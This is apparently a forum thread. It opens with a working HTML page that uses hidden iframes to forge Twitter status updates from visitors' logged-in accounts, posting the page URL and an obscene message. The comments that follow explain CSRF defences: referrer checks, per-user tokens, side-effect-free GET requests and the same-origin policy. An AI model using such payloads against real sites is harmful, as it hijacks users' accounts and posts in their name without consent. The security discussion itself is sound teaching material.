<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>
</body>
</html>Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells.
Being around for a while was part of the problem, they didn't want to break existing sites.
I don't think that word means what you think it means.
Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.
You probably meant "GET requests should be side effect free".
http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
Section 9.1.2
"Methods can also have the property of "idempotence" in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request."
A request that is side effect free is idempotent by definition.
(notice that tweet posting is actually kind of idempotent in twitter: if you post the same message twice, it will only appear once)
I'm pretty sure the concept's use in mathematics predates that by far.
Good point. Was getting terminology mixed up with PUT.
Alternatively build a form in the iframe and use JS to submit it to Twitter.
Your "if possible" clause makes it seem optional but if you don't include it then your service is vulnerable, period.
Checking the referrer header is a start. Including the token you mentioned is even better.
Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form?
(There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... )
(edit: tweak to 'cryptohash' method.)
Deleted comment
> If you know the URL of the form, isn't it as simple as using Javascript to pull up the page, parse the token variable out of the page, and then using that?
>
> Right now, the Javascript just has to: 1) post to http://www.form.com....
>
> Now, the Javascript has to: 1) fetch http://www.form.com... 2) parse the response, find <input name="authToken" value="ohSoSecureAuthToken" 3) post to http://www.form.com... with the authToken
>
> Sure, its more steps, but isn't it just as insecure?
You're missing a concept here, and it's one of these two things (most likely the 2nd):1) The form (& token) is generated server-side based on the currently logged in user, as determined by a cookie (or http authentication, or https client certs, etc.): So each user gets a different form+token, and is only generated with a valid current session. In other words, you can't get this form unless you are successfully impersonating the victim or forcing the victim's logged-in web browser to make the request.
2) In the case that you do force the victim's browser to make the request, the browser security model has a whole bunch of restrictions on what javascript can read which data, collectively known as the same origin policy (http://en.wikipedia.org/wiki/Same_origin_policy).
In particular, the same origin policy will make your step two, "parse the response", fail: javascript running on a page from a.com has no access to responses from b.com.
Without the same origin policy, we'd all be hosed. Imagine code on a hostile web page that scrapes your contact book if you're logged into email on another tab, your bank account, etc... all of these follow the same basic pattern as steps 1-2 in your reply.
Assuming no other security flaws and verifiable and non-forgeable form tokens, then the same origin policy will effectively protect third party websites from submitting requests on behalf of a victim.
Note that those are both very big assumptions, e.g. it turns out that you can forge 'secure' tokens from ASP.NET because they screwed up their crypto. (I think the tokens in question are typically used for session cookies, but same general idea.)
Also this status post should be a POST.